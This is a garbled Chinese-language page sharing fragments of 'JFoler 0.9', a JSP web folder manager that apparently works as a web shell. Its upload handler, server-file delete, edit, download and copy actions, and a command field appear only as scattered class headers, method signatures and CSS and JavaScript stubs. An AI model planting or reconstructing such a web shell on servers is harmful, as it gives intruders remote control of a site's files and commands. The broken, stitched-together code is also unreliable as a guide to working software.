功能强大的jsp页面 public class FileHandler public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { static void remove(String fName) { static UplInfo getInfo(String fName) { public class UplInfo { public long totalSize; public UplInfo() { public UplInfo(int size) { public String getUprate() { public int getPercent() { public String getTimeElapsed() { public String getTimeEstimated() { } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; public void setFileContents(byte[] aByteArray) { // A Class with methods used to process a ServletInputStream private final String lineSeparator = System.getProperty("line.separator", "\n"); public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, /** /** Convenience method to read HTTP header lines */ public String getFileName(String dir, String fileName) throws IllegalArgumentException { String formatPath(String p) /** /** if((tabID==null) || tabID.equals("")) if(strDir==null||strDir.length()<1)
if(strAction!=null && strAction.equals("del")) if(strAction!=null && strAction.equals("edit")) if(strAction!=null && strAction.equals("save")) if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) int bstart = request.getContentType().lastIndexOf("oundary="); FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); #tablist{ #tablist li{ #tablist li a{ #tablist li a:link, #tablist li a:visited{ #tablist li a.current{ #tabcontentcontainer{ .tabcontent{ </style> <script type="text/javascript"> var initialtab=[<%=tabID%>, "menu<%=tabID%>"] Stop editting function cascadedstyle(el, cssproperty, csspropertyNS){ var previoustab="" function expandcontent(cid, aobject){ function highlighttab(aobject){ function collecttablinks(){ function do_onload(){ if (window.addEventListener)
</script> function doForm(action,path,file,cmd,tab,content) <title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
<form name="frmCqq" method="post" action=""> <!--Top Menu Started-->
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); } <DIV id="tabcontentcontainer">
</div> <div id="menu4" class="tabcontent"> <p> </p>
</td> <form name="frmMake" action="" method="post"> <% if(strCmd!=null) %>
|
请用Ctrl+C复制后贴给好友。